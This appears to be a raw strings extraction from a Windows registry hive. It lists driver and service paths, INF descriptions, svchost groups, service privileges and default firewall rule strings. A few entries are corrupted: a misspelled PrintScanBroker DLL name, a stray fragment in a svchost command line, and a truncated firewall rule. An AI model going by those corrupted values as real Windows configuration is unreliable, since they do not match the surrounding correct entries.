%SystemRoot%\System32\DriverStore\FileRepository\usb4devicerouter.inf_amd64_e5acd82504f3c6d7\Usb4DeviceRouter.sys {8507cd07-f18b-54f0-b871-23c43a5bf118} %SystemRoot%\system32\drivers\ztdns.sys {40e3fc75-59e8-5443-47cb-a1e1b197fde0} %SystemRoot%\System32\zthelper.dll %SystemRoot%\System32\drivers\mlx4_bus.sys;%SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\mouclass.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\mouhid.sys %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\Drivers\umdf\Microsoft.Bluetooth.Profiles.HidOverGatt.dll %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\MTConfig.sys %SystemRoot%\system32\drivers\ntfs.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\nvdimm.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\nvmedisk.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\parport.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\Drivers\Pcmcia.sys %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\pmem.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\pnpmem.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\processr.sys %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\Drivers\rfcomm.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\Drivers\rhproxy.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\sbp2port.sys {1f678132-5938-4686-9fdc-c8ff68f15c85} %windir%\System32\lsasrv.dll %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\serial.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\sermouse.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\SmartSAMD.sys %SystemRoot%\System32\iologmsg.dll %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\IoLogMsg.dll {1b6b0772-251b-4d42-917d-faca166bc059} %SystemRoot%\System32\drivers\tpm.sys {dcbe5aaa-16e2-457c-9337-366950045f0a} %SystemRoot%\System32\iologmsg.dll %SystemRoot%\System32\iologmsg.dll;%SystemRoot%\System32\drivers\usbaudio2.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\Drivers\usbehci.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\Drivers\usbser.sys %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\vpci.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\wacompen.sys {2b9537f0-4a90-557b-1313-d0ce2827a94a} %SystemRoot%\system32\winsrvext.dll rpcss @comres.dll,-2451 @comres.dll,-2450 %SystemRoot%\system32\svchost.exe -k LocalServiceRedirectionGuard -p NT AUTHORITY\LocalService SeChangeNotifyPrivilege SeImpersonatePrivilege @%SystemRoot%\System32\Drivers\ExecutionContext.sys,-101 PNP_TDI System32\Drivers\ExecutionContext.sys \SystemRoot\System32\drivers\fdc.sys @fdc.inf,%fdc_ServiceDesc%;Floppy Disk Controller Driver fdc.inf \SystemRoot\System32\drivers\flpydisk.sys @flpydisk.inf,%floppy_ServiceDesc%;Floppy Disk Driver flpydisk.inf @%SystemRoot%\system32\drivers\fvevol.sys,-100 @%SystemRoot%\system32\drivers\fvevol.sys,-100 PnP Filter System32\DRIVERS\fvevol.sys \SystemRoot\System32\drivers\vmgencounter.sys @wgencounter.inf,%GenCounter.SVCDESC%;Microsoft Hyper-V Generation Counter wgencounter.inf \SystemRoot\System32\DriverStore\FileRepository\genericusbfn.inf_amd64_71c810ddc0116541\genericusbfn.sys Base @genericusbfn.inf,%genericusbfn.ServiceName%;Generic USB Function Class genericusbfn.inf System32\DriverStore\FileRepository\genpass.inf_amd64_0c82d80c9252c9bd\genpass.sys @genpass.inf,%GenPass.SVCDESC%;Microsoft GenPass Driver genpass.inf \SystemRoot\System32\drivers\HdAudio.sys @hdaudio.inf,%UAAFunctionDriverForHdAudio.SvcDesc%;Microsoft 1.1 UAA Function Driver for High Definition Audio Service hdaudio.inf \SystemRoot\System32\drivers\HDAudBus.sys Extended Base @hdaudbus.inf,%HDAudBus.SVCDESC%;Microsoft UAA Bus Driver for High Definition Audio hdaudbus.inf \SystemRoot\System32\drivers\HidBatt.sys @hidbatt.inf,%HidBatt.SvcDesc%;HID UPS Battery Driver hidbatt.inf battery.inf \SystemRoot\System32\drivers\hidbth.sys extended base @hidbth.inf,%HIDBTH.SvcDesc%;Microsoft Bluetooth HID Miniport hidbth.inf xinputhid.inf \SystemRoot\System32\drivers\hidi2c.sys Extended Base @hidi2c.inf,%hidi2c.SVCDESC%;Microsoft I2C HID Miniport Driver hidi2c.inf \SystemRoot\System32\drivers\hidinterrupt.sys Extended Base @hidinterrupt.inf,%HID_Interrupt.SvcDesc%;Common Driver for HID Buttons implemented with interrupts hidinterrupt.inf \SystemRoot\System32\drivers\hidir.sys extended base @hidir.inf,%HIDIR.SvcDesc%;Microsoft Infrared HID Driver hidir.inf RC6 based MCE remote Samsung MCE remote MCIR Three Button Mouse Remote QuatroPulse MCE remote \SystemRoot\System32\drivers\hidspi.sys Extended Base HidSpiCx @hidspi_km.inf,%hidspi.SVCDESC%;Microsoft SPI HID Miniport Driver hidspi_km.inf \SystemRoot\System32\drivers\hidusb.sys extended base @input.inf,%HID.SvcDesc%;Microsoft HID Class Driver input.inf @%SystemRoot%\system32\hpatchmon.dll,-101 @%SystemRoot%\system32\hpatchmon.dll,-100 %SystemRoot%\system32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeCreateGlobalPrivilege %SystemRoot%\system32\hpatchmon.dll System32\drivers\HpSAMD.sys SCSI Miniport hpsamd.inf CSMI=None; \SystemRoot\System32\drivers\Hsp.sys hsp.inf @hsp.inf,%Hsp.SVCDESC%;Microsoft Pluton Service 1.15 @%SystemRoot%\system32\drivers\http.sys,-2 @%SystemRoot%\system32\drivers\http.sys,-1 system32\drivers\HTTP.sys /867 \SystemRoot\System32\drivers\hvcrash.sys whvcrash.inf Video \SystemRoot\System32\drivers\hvservice.sys @hvservice.inf,%hvservice.SvcDesc%;Microsoft Hypervisor Service Driver hvservice.inf \SystemRoot\System32\drivers\hyperkbd.sys Extended Base whyperkbd.inf \SystemRoot\System32\drivers\HyperVideo.sys wvmbusvideo.inf \SystemRoot\System32\DriverStore\FileRepository\i3chost.inf_amd64_f930dff9ba09b08b\i3chost.sys Base SpbCx @i3chost.inf,%I3CHost.SVCDESC%;I3C Host Controller Service i3chost.inf \SystemRoot\System32\drivers\i8042prt.sys Keyboard Port @keyboard.inf,%i8042prt.SvcDesc%;i8042 Keyboard and PS/2 Mouse Port Driver \SystemRoot\System32\drivers\ibbus.sys PnP Filter @mlx4_bus.inf,%Ibbus.ServiceDesc%;Mellanox InfiniBand Bus/AL (Filter Driver) mlx4_bus.inf IPoIB IBA\IPoIB IBA\SID_1000066a00020000 IBA\IPoIB Mellanox IPoIB Adapter 0XFFFF-IPoIB IBA\XsigoBus IBA\SID_0000000002139702 IBA\XsigoBus Xsigo Virtual Bus 0XFFFF-iXsigo rpcss @%SystemRoot%\system32\InstallService.dll,-201 @%SystemRoot%\system32\InstallService.dll,-200 %SystemRoot%\System32\svchost.exe -k netsvcs -p LocalSystem SeChangeNotifyPrivilege SeImpersonatePrivilege SeTcbPrivilege %SystemRoot%\system32\InstallService.dll ServiceMain System32\drivers\intelide.sys System Bus Extender mshdc.inf System32\drivers\intelpep.sys Core Security Extensions @intelpep.inf,%INTELPEP.SVCDESC%;Intel(R) Power Engine Plug-in Driver intelpep.inf \SystemRoot\System32\drivers\intelpmax.sys Extended Base @intelpmax.inf,%SvcDesc%;Intel(R) Dynamic Device Peak Power Manager Driver intelpmax.inf System32\drivers\IntelPMT.sys Core Security Extensions @intelpmt.inf,%IntelPMT.SVCDESC%;Intel(R) Platform Monitoring Technology Service intelpmt.inf \SystemRoot\System32\drivers\intelppm.sys Extended Base @cpu.inf,%IntelPPM.SvcDesc%;Intel Processor Driver cpu.inf %SystemRoot%\System32\drivers\processr.sys RpcSs @%SystemRoot%\system32\inventorysvc.dll,-502 @%SystemRoot%\system32\inventorysvc.dll,-501 %systemroot%\system32\svchost.exe -k InvSvcGroup -p LocalSystem SeBackupPrivilege SeRestorePrivilege @%SystemRoot%\system32\drivers\iorate.sys,-102 @%SystemRoot%\system32\drivers\iorate.sys,-101 PnP Filter system32\drivers\iorate.sys \SystemRoot\System32\drivers\IPMIDrv.sys ipmidrv.inf System32\drivers\isapnp.sys Boot Bus Extender machine.inf \SystemRoot\System32\drivers\msiscsi.sys @iscsi.inf,%iScsiPortName%;iScsiPort Driver iscsi.inf System32\drivers\ItSas35i.sys SCSI Miniport itsas35i.inf PlaceHolder=0; \SystemRoot\System32\drivers\kbdclass.sys @keyboard.inf,%kbdclass.SvcDesc%;Keyboard Class Driver hidirkbd.inf whyperkbd.inf termkbd.inf keyboard.inf KeyboardClass \SystemRoot\System32\drivers\kbdhid.sys @keyboard.inf,%KBDHID.SvcDesc%;Keyboard HID Driver hidirkbd.inf keyboard.inf \SystemRoot\System32\drivers\kdnic_legacy.sys NDIS @kdnic_legacy.inf,%KdNic.Service.DispName%;Microsoft Kernel Debug Network Miniport (NDIS 6.20) kdnic_legacy.inf RpcSs @%SystemRoot%\System32\lfsvc.dll,-2 @%SystemRoot%\System32\lfsvc.dll,-1 %SystemRoot%\system32\svchost.exe -k netsvcsRedirectionGuard -p LocalSystem SeImpersonatePrivilege System32\drivers\lsi_sas.sys SCSI Miniport lsi_sas.inf PlaceHolder=0; System32\drivers\lsi_sas2i.sys SCSI Miniport lsi_sas2i.inf PlaceHolder=0; System32\drivers\lsi_sas3i.sys SCSI Miniport lsi_sas3i.inf PlaceHolder=0; \SystemRoot\System32\drivers\mausbhost.sys Base Ucx01000 @mausbhost.inf,%MAUSBHost.ServiceName%;MA-USB Host Controller Driver mausbhost.inf \SystemRoot\System32\drivers\mausbip.sys Base @mausbhost.inf,%MAUSBIP.ServiceName%;MA-USB IP Filter Driver mausbhost.inf wlpasvc wwansvc @%SystemRoot%\System32\mcmsvc.dll,-258 @%SystemRoot%\System32\mcmsvc.dll,-257 %SystemRoot%\system32\svchost.exe -k McmSvc -p -s McmSvc NT SERVICE\McmSvc %SystemRoot%\System32\McmSvc.dll McmSvcMain System32\drivers\MegaSas2i.sys SCSI Miniport megasas2i.inf nobusywait=1 System32\drivers\megasas35i.sys SCSI Miniport megasas35i.inf nobusywait=1 \SystemRoot\System32\drivers\Microsoft.Bluetooth.AvrcpTransport.sys @microsoft_bluetooth_avrcptransport.inf,%Microsoft_Bluetooth_AvrcpTransport.ServiceDescription%;Microsoft Bluetooth Avrcp Transport Driver microsoft_bluetooth_avrcptransport.inf rpcss AudioEndpointBuilder @%systemroot%\system32\midisrv.exe,-102 @%systemroot%\system32\midisrv.exe,-101 %systemroot%\system32\midisrv.exe NT AUTHORITY\LocalService SeChangeNotifyPrivilege SeImpersonatePrivilege SeIncreaseWorkingSetPrivilege 64839251-9daf-4e79-aa4e-9771c86ffbc1 \SystemRoot\System32\drivers\mlx4_bus.sys NDIS @mlx4_bus.inf,%MLX4BUS.ServiceDesc%;Mellanox ConnectX Bus Enumerator mlx4_bus.inf D:P(A;;GA;;;BA)(A;;GA;;;SY) \SystemRoot\System32\drivers\monitor.sys @monitor.inf,%Monitor.SVCDESC%;Microsoft Monitor Class Function Driver Service monitor.inf \SystemRoot\System32\drivers\mouclass.sys @msmouse.inf,%mouclass.SvcDesc%;Mouse Class Driver \SystemRoot\System32\drivers\mouhid.sys @msmouse.inf,%MOUHID.SvcDesc%;Mouse HID Driver System32\drivers\mpi3drvi.sys SCSI Miniport mpi3drvi.inf PlaceHolder=0; \SystemRoot\System32\drivers\msgpiowin32.sys Extended Base @msgpiowin32.inf,%GPIO.SvcDesc%;Common Driver for Buttons, DockMode and Laptop/Slate Indicator msgpiowin32.inf \SystemRoot\System32\drivers\mshidkmdf.sys @mshidkmdf.inf,%mshidkmdf.SvcName%;Pass-through HID to KMDF Filter Driver msgpiowin32.inf buttonconverter.inf hidvhf.inf mshidkmdf.inf \SystemRoot\System32\drivers\mshidumdf.sys Base @%SystemRoot%\system32\drivers\mshidumdf.sys,-100 ver Bluetooth Low Energy devices hidbthle.inf xinputhid.inf mshidumdf.inf @%SystemRoot%\system32\drivers\mshidumdf.sys,-101 System32\drivers\msisadrv.sys Boot Bus Extender machine.inf @%SystemRoot%\system32\drivers\msquicprev.sys,-201 @%SystemRoot%\system32\drivers\msquicprev.sys,-200 Network system32\drivers\msquicprev.sys \SystemRoot\System32\drivers\MTConfig.sys Extended Base @mtconfig.inf,%MTConfig.SVCDESC%;Microsoft Input Configuration Driver mtconfig.inf \SystemRoot\System32\drivers\ndfltr.sys PNP Filter ibbus @mlx4_bus.inf,%ndfltr.ServiceDesc%;NetworkDirect Service mlx4_bus.inf tcpip @%SystemRoot%\system32\drivers\netbt.sys,-1 @%SystemRoot%\system32\drivers\netbt.sys,-2 PNP_TDI System32\DRIVERS\netbt.sys \SystemRoot\System32\drivers\netvsc.sys Extended Base wnetvsc.inf \SystemRoot\System32\DriverStore\FileRepository\networkprivacypolicy.inf_amd64_9cb09ef0ae0d2066\NetworkPrivacyPolicy.sys Tcpip @networkprivacypolicy.inf,%NetworkPrivacyPolicy.SvcDesc%;Microsoft Network Privacy Policy Service @networkprivacypolicy.inf,%NetworkPrivacyPolicy.SvcDesc%;Microsoft Network Privacy Policy Service networkprivacypolicy.inf RpcSs @%SystemRoot%\System32\NgcCtnrSvc.dll,-2 @%SystemRoot%\System32\NgcCtnrSvc.dll,-1 Cryptography %SystemRoot%\system32\svchost.exe -k LocalServiceNetworkRestricted -p NT AUTHORITY\LocalService @%SystemRoot%\system32\netprofmsvc.dll,-209 @%SystemRoot%\system32\netprofmsvc.dll,-208 %SystemRoot%\System32\svchost.exe -k netprofm -p NT AUTHORITY\NetworkService SeImpersonatePrivilege SeChangeNotifyPrivilege %SystemRoot%\System32\netprofmsvc.dll 131.107.255.255 fd3e:4f5a:5b81::1 dns.msftncsi.com dns.msftncsi.com Microsoft Connect Test Microsoft Connect Test www.msftconnecttest.com ipv6.msftconnecttest.com connecttest.txt connecttest.txt \SystemRoot\System32\drivers\npsvctrig.sys @npsvctrig.inf,%NPSVCTRIG.SvcDisplayName%;Named pipe service trigger provider npsvctrig.inf npsvctrig 46000 System32\drivers\nvdimm.sys Primary Disk @nvdimm.inf,%nvdimm.SvcDesc%;Microsoft NVDIMM device driver nvdimm.inf System32\drivers\nvmedisk.sys @nvmedisk.inf,%nvmedisk.SvcDesc%;Microsoft NVMe disk driver nvmedisk.inf \SystemRoot\System32\drivers\parport.sys Parallel arbitrator @msports.inf,%Parport.SVCDESC%;Parallel port driver msports.inf @%SystemRoot%\system32\drivers\partmgr.sys,-101 @%SystemRoot%\system32\drivers\partmgr.sys,-100 Boot Bus Extender System32\drivers\partmgr.sys System32\drivers\pci.sys Boot Bus Extender @pci.inf,%pci_svcdesc%;PCI Bus Driver pci.inf machine.inf pcmcia.inf System32\drivers\pciide.sys System Bus Extender mshdc.inf System32\drivers\pcmcia.sys \pcmcia.sys System Bus Extender pcmcia.inf System32\drivers\percsas2i.sys SCSI Miniport percsas2i.inf nonuma=1 System32\drivers\percsas3i.sys SCSI Miniport percsas3i.inf placeholder=0 Packet Monitor Export Driver system32\drivers\PktMonApi.sys \SystemRoot\System32\DriverStore\FileRepository\pluton-heci.inf_amd64_40b36f87485c5598\pluton-heci.sys @pluton-heci.inf,%PlutonHeci.SVCDESC%;Microsoft Pluton Security Service pluton-heci.inf 1.15 \SystemRoot\System32\DriverStore\FileRepository\plutonhsp2.inf_amd64_2fdd73e0c61ac3a0\PlutonHsp2.sys @PlutonHsp2.inf,%Pluton.SvcDesc%;Microsoft Pluton Service PlutonHsp2.inf 1.25 System32\drivers\pmem.sys @pmem.inf,%pmem.SvcDesc%;Microsoft persistent memory disk driver pmem.inf \SystemRoot\System32\drivers\pnpmem.sys RpcSs @memory.inf,%PNPMEM.SvcDesc%;Microsoft Memory Module Driver memory.inf @%SystemRoot%\system32\PrintScanBrokerService.dll,-101 @%SystemRoot%\system32\PrintScanBrokerervice.dll,-100 %SystemRoot%\system32\svchost.exe -k PrintScanBrokerService -p ed -p LocalSystem SeTcbPrivilege SeImpersonatePrivilege SeChangeNotifyPrivilege SeAssignPrimaryTokenPrivilege SeLoadDriverPrivilege System32\DriverStore\FileRepository\prm.inf_amd64_7c38475757a1f016\PRM.sys @prm.inf,%PRM.SvcDesc%;Microsoft PRM Driver prm.inf \SystemRoot\System32\drivers\processr.sys Extended Base @cpu.inf,%Processor.SvcDesc%;Processor Driver cpu.inf System32\drivers\pvscsii.sys SCSI Miniport @pvscsii.inf,%pvscsi.DiskName%;pvscsi Storage Controller Driver pvscsii.inf \SystemRoot\System32\drivers\ramdisk.sys @ramdisk.inf,%RamdiskServiceDesc%;Windows RAM Disk Driver ramdisk.inf WANARP SstpSvc DnsCache @%Systemroot%\system32\rasmans.dll,-201 @%Systemroot%\system32\rasmans.dll,-200 %SystemRoot%\System32\svchost.exe -k netsvcs localSystem SeImpersonatePrivilege SeIncreaseQuotaPrivilege SeTcbPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeAssignPrimaryTokenPrivilege SeLoadDriverPrivilege \SystemRoot\System32\drivers\rdpbus.sys @rdpbus.inf,%rdpbus_svcdesc%;Remote Desktop Device Redirector Bus Driver rdpbus.inf ReadyBoost ReadyBoost PnP Filter System32\drivers\rdyboost.sys \SystemRoot\System32\drivers\rfcomm.sys PNP_TDI @tdibth.inf,%RFCOMM.DisplayName%;Bluetooth Device (RFCOMM Protocol TDI) @tdibth.inf,%RFCOMM.DisplayName%;Bluetooth Device (RFCOMM Protocol TDI) tdibth.inf \SystemRoot\System32\drivers\rhproxy.sys Extended Base @rhproxy.inf,%rhproxy.SVCDESC%;Resource Hub proxy driver rhproxy.inf \SystemRoot\System32\drivers\RoutePolicy.sys @routepolicy.inf,%RoutePolicy.SvcDesc%;Microsoft Route Policy Service routepolicy.inf \SystemRoot\System32\drivers\vms3cap.sys Video ws3cap.inf System32\drivers\sbp2port.sys @sbp2.inf,%sbp2_ServiceDesc%;SBP-2 Transport/Protocol Bus Driver sbp2.inf RPCSS SystemEventsBroker @%SystemRoot%\system32\schedsvc.dll,-101 @%SystemRoot%\system32\schedsvc.dll,-100 SchedulerGroup %systemroot%\system32\svchost.exe -k netsvcs -p LocalSystem SeIncreaseQuotaPrivilege SeChangeNotifyPrivilege SeImpersonatePrivilege SeAssignPrimaryTokenPrivilege SeTcbPrivilege SeRestorePrivilege SeBackupPrivilege SeSecurityPrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege SeSystemProfilePrivilege SeSystemTimePrivilege SeProfileSingleProcessPrivilege SeIncreaseBasePriorityPrivilege SeCreatePageFilePrivilege SeCreatePermanentPrivilege SeShutdownPrivilege SeDebugPrivilege SeAuditPrivilege SeSystemEnvironmentPrivilege SeUndockPrivilege SeManageVolumePrivilege SeIncreaseWorkingSetPrivilege SeTimeZonePrivilege SeCreateSymbolicLinkPrivilege SeLockMemoryPrivilege SeCreateGlobalPrivilege SeDelegateSessionUserImpersonatePrivilege 86d35949-83c9-4044-b424-db363231fd0c System32\drivers\scmbus.sys @scmbus.inf,%scmbus.SvcDesc%;Microsoft Storage Class Memory Bus Driver scmbus.inf \SystemRoot\System32\drivers\sdbus.sys System Bus Extender sdbus.inf \SystemRoot\System32\DriverStore\FileRepository\sdcahid.inf_amd64_9b043c5c82568ed0\SdcaHid.sys @sdcahid.inf,%WdfStandaloneDevice.ServiceName%;SoundWire HID Driver sdcahid.inf 1.31 \SystemRoot\System32\DriverStore\FileRepository\sdcamfd.inf_amd64_7616b07de0d13d6f\SdcaMfd.sys @sdcamfd.inf,%WdfStandaloneDevice.ServiceName%;SoundWire Audio Multifunction Driver sdcamfd.inf 1.31 \SystemRoot\System32\drivers\sdstor.sys @sdstor.inf,%sdstor_ServiceDesc%;SD Storage Port Driver sdstor.inf EventSystem @%SystemRoot%\system32\Sens.dll,-201 @%SystemRoot%\system32\Sens.dll,-200 ProfSvc_Group %SystemRoot%\system32\svchost.exe -k netsvcsRedirectionGuard -p LocalSystem SeAuditPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege SeTcbPrivilege @%SystemRoot%\System32\sensorservice.dll,-1001 LocalSystem @%SystemRoot%\System32\sensorservice.dll,-1000 %SystemRoot%\system32\svchost.exe -k LocalSystemNetworkRestricted -p SeChangeNotifyPrivilege SeImpersonatePrivilege SeShutdownPrivilege SeTcbPrivilege \SystemRoot\System32\drivers\serenum.sys PNP Filter @msports.inf,%Serenum.SVCDESC%;Serenum Filter Driver msports.inf \SystemRoot\System32\drivers\serial.sys Extended base @msports.inf,%Serial.SVCDESC%;Serial port driver msports.inf hiddigi.inf \SystemRoot\System32\drivers\sermouse.sys Pointer Port @msmouse.inf,%sermouse.SvcDesc%;Serial Mouse Driver msmouse.inf \SystemRoot\System32\drivers\sfloppy.sys @flpydisk.inf,%sfloppy_devdesc%;High-Capacity Floppy Disk Drive flpydisk.inf @%SystemRoot%\system32\ipnathlp.dll,-107 @%SystemRoot%\system32\ipnathlp.dll,-106 %SystemRoot%\System32\svchost.exe -k netsvcs -p LocalSystem SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege SeLoadDriverPrivilege SeTakeOwnershipPrivilege v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=6|Profile=Public|RPort=2869|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=fdphost|Name=@FirewallAPI.dll,-32765|Desc=@FirewallAPI.dll,-32768|EmbedCtxt=@FirewallAPI.dll,-32752| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Public|App=%SystemRoot%\system32\spoolsv.exe|Svc=Spooler|Name=@FirewallAPI.dll,-36858|Desc=@FirewallAPI.dll,-36859|EmbedCtxt=@FirewallAPI.dll,-36851|TTK2_22=WFDPrint| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=6|Profile=Public|App=%SystemRoot%\system32\msra.exe|Name=@FirewallAPI.dll,-33007|Desc=@FirewallAPI.dll,-33010|EmbedCtxt=@FirewallAPI.dll,-33002| v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=17|Profile=Private|RPort=1900|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=Ssdpsrv|Name=@FirewallAPI.dll,-32757|Desc=@FirewallAPI.dll,-32760|EmbedCtxt=@FirewallAPI.dll,-32752| v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=17|Profile=Public|App=%SystemRoot%\system32\svchost.exe|Svc=Ssdpsrv|Name=@FirewallAPI.dll,-32754|Desc=@FirewallAPI.dll,-32756|EmbedCtxt=@FirewallAPI.dll,-32752|TTK2_27=UPnP| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=6|Profile=Private|Profile=Public|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=Msiscsi|Name=@FirewallAPI.dll,-29007|Desc=@FirewallAPI.dll,-29010|EmbedCtxt=@FirewallAPI.dll,-29002| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=6|Profile=Domain|Profile=Public|RPort=2869|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=upnphost|Name=@FirewallAPI.dll,-32821|Desc=@FirewallAPI.dll,-32822|EmbedCtxt=@FirewallAPI.dll,-32752| v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=6|Profile=Domain|Profile=Private|App=%SystemRoot%\system32\svchost.exe|Svc=CDPSvc|Name=@FirewallAPI.dll,-37405|Desc=@FirewallAPI.dll,-37406|EmbedCtxt=@FirewallAPI.dll,-37402| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|Profile=Domain|LPort=RPC-EPMap|App=%SystemRoot%\system32\svchost.exe|Svc=RPCSS|Name=@FirewallAPI.dll,-33513|Desc=@FirewallAPI.dll,-33514|EmbedCtxt=@FirewallAPI.dll,-33502| v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Public|App=%SystemRoot%\system32\svchost.exe|Svc=stisvc|Name=@FirewallAPI.dll,-36860|Desc=@FirewallAPI.dll,-36861|EmbedCtxt=@FirewallAPI.dll,-36851|TTK2_22=WFDPrint| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=17|Profile=Public|App=%systemroot%\system32\svchost.exe|Svc=pnrpsvc|Name=@FirewallAPI.dll,-33037|Desc=@FirewallAPI.dll,-33038|EmbedCtxt=@FirewallAPI.dll,-33002| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=1|Profile=Private|Profile=Public|ICMP4=8:*|RA4=LocalSubnet|App=System|Name=@FirewallAPI.dll,-27002|Desc=@FirewallAPI.dll,-27005|EmbedCtxt=@FirewallAPI.dll,-27000| v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=17|Profile=Private|RPort=5353|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=dnscache|Name=@%SystemRoot%\system32\firewallapi.dll,-37305|Desc=@%SystemRoot%\system32\firewallapi.dll,-37306|EmbedCtxt=@%SystemRoot%\system32\firewallapi.dll,-37302| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=17|Profile=Domain|RPort=138|App=System|Name=@FirewallAPI.dll,-32781|Desc=@FirewallAPI.dll,-32784|EmbedCtxt=@FirewallAPI.dll,-32752| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|Profile=Domain|LPort=135|App=%systemroot%\system32\svchost.exe|Svc=rpcss|Name=@FirewallAPI.dll,-34755|Desc=@FirewallAPI.dll,-34756|EmbedCtxt=@FirewallAPI.dll,-34752| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=6|RPort=1723|App=System|Name=@FirewallAPI.dll,-33761|Desc=@FirewallAPI.dll,-33764|EmbedCtxt=@FirewallAPI.dll,-33752| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|Profile=Domain|App=%systemroot%\system32\plasrv.exe|Name=@FirewallAPI.dll,-34753|Desc=@FirewallAPI.dll,-34754|EmbedCtxt=@FirewallAPI.dll,-34752| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|Profile=Domain|Profile=Private|LPort=5985|App=System|Name=@FirewallAPI.dll,-30253|Desc=@FirewallAPI.dll,-30256|EmbedCtxt=@FirewallAPI.dll,-30267| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=17|Profile=Domain|Profile=Public|RPort=3702|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=fdphost|Name=@FirewallAPI.dll,-32789|Desc=@FirewallAPI.dll,-32792|EmbedCtxt=@FirewallAPI.dll,-32752| bedCtxt=@FirewallAPI.dll,-36001| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=17|RPort=1900|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=Ssdpsrv|Name=@FirewallAPI.dll,-30511|Desc=@FirewallAPI.dll,-30514|EmbedCtxt=@FirewallAPI.dll,-30502| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=6|RPort=2869|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=upnphost|Name=@FirewallAPI.dll,-30523|Desc=@FirewallAPI.dll,-30524|EmbedCtxt=@FirewallAPI.dll,-30502| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=6|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\ehome\ehshell.exe|Name=@FirewallAPI.dll,-30765|Desc=@FirewallAPI.dll,-30768|EmbedCtxt=@FirewallAPI.dll,-30752| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=17|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\ehome\ehshell.exe|Name=@FirewallAPI.dll,-30805|Desc=@FirewallAPI.dll,-30808|EmbedCtxt=@FirewallAPI.dll,-30752| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=17|LPort=1900|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=Ssdpsrv|Name=@FirewallAPI.dll,-30820|Desc=@FirewallAPI.dll,-30821|EmbedCtxt=@FirewallAPI.dll,-30752| v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=6|Profile=Private|LPort=23554|LPort=23555|LPort=23556|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\mdeserver.exe|Name=@FirewallAPI.dll,-36008|Desc=@FirewallAPI.dll,-36009|EmbedCtxt=@FirewallAPI.dll,-36001| 